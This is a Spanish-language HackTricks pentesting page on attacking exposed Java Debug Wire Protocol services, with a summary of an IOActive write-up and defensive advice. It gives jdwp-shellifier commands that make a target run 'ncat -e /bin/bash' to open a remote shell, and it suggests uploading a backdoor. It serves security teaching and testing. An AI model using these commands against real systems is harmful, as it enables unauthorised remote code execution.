Pentesting JDWP - Java Debug Wire Protocol

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Explotación

La explotación de JDWP se basa en la falta de autenticación y cifrado del protocolo. Generalmente se encuentra en el puerto 8000, pero también es posible en otros puertos. La conexión inicial se realiza enviando un "Saludo JDWP" al puerto de destino. Si un servicio JDWP está activo, responde con la misma cadena, confirmando su presencia. Este saludo actúa como un método de fingerprinting para identificar servicios JDWP en la red.

En cuanto a la identificación de procesos, buscar la cadena "jdwk" en los procesos de Java puede indicar una sesión JDWP activa.

La herramienta principal es jdwp-shellifier. Puedes usarla con diferentes parámetros:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Encontré que el uso de --break-on 'java.lang.String.indexOf' hace que el exploit sea más estable. Y si tienes la oportunidad de cargar un backdoor en el host y ejecutarlo en lugar de ejecutar un comando, el exploit será aún más estable.

Más detalles

Este es un resumen de https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Consulta para más detalles.

  1. Visión general de JDWP:

  • Es un protocolo binario de red basado en paquetes, principalmente síncrono.

  • Carece de autenticación y cifrado, lo que lo hace vulnerable cuando se expone a redes hostiles.

  1. Handshake de JDWP:

  • Se utiliza un proceso de handshake simple para iniciar la comunicación. Se intercambia una cadena ASCII de 14 caracteres "JDWP-Handshake" entre el Depurador (cliente) y el Depurado (servidor).

  1. Comunicación de JDWP:

  • Los mensajes tienen una estructura simple con campos como Longitud, Id, Bandera y Conjunto de Comandos.

  • Los valores del Conjunto de Comandos van desde 0x40 hasta 0x80, representando diferentes acciones y eventos.

  1. Explotación:

  • JDWP permite cargar e invocar clases y bytes de código arbitrarios, lo que plantea riesgos de seguridad.

  • El artículo detalla un proceso de explotación en cinco pasos, que implica obtener referencias de tiempo de ejecución de Java, establecer puntos de interrupción e invocar métodos.

  1. Explotación en la vida real:

  • A pesar de las posibles protecciones de firewall, los servicios de JDWP son descubribles y explotables en escenarios del mundo real, como se demuestra en búsquedas en plataformas como ShodanHQ y GitHub.

  • El script de exploit se probó contra varias versiones de JDK y es independiente de la plataforma, ofreciendo una Ejecución Remota de Código (RCE) confiable.

  1. Implicaciones de seguridad:

  • La presencia de servicios JDWP abiertos en Internet subraya la necesidad de revisiones de seguridad regulares, deshabilitar funcionalidades de depuración en producción y configuraciones adecuadas de firewall.

Referencias:

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización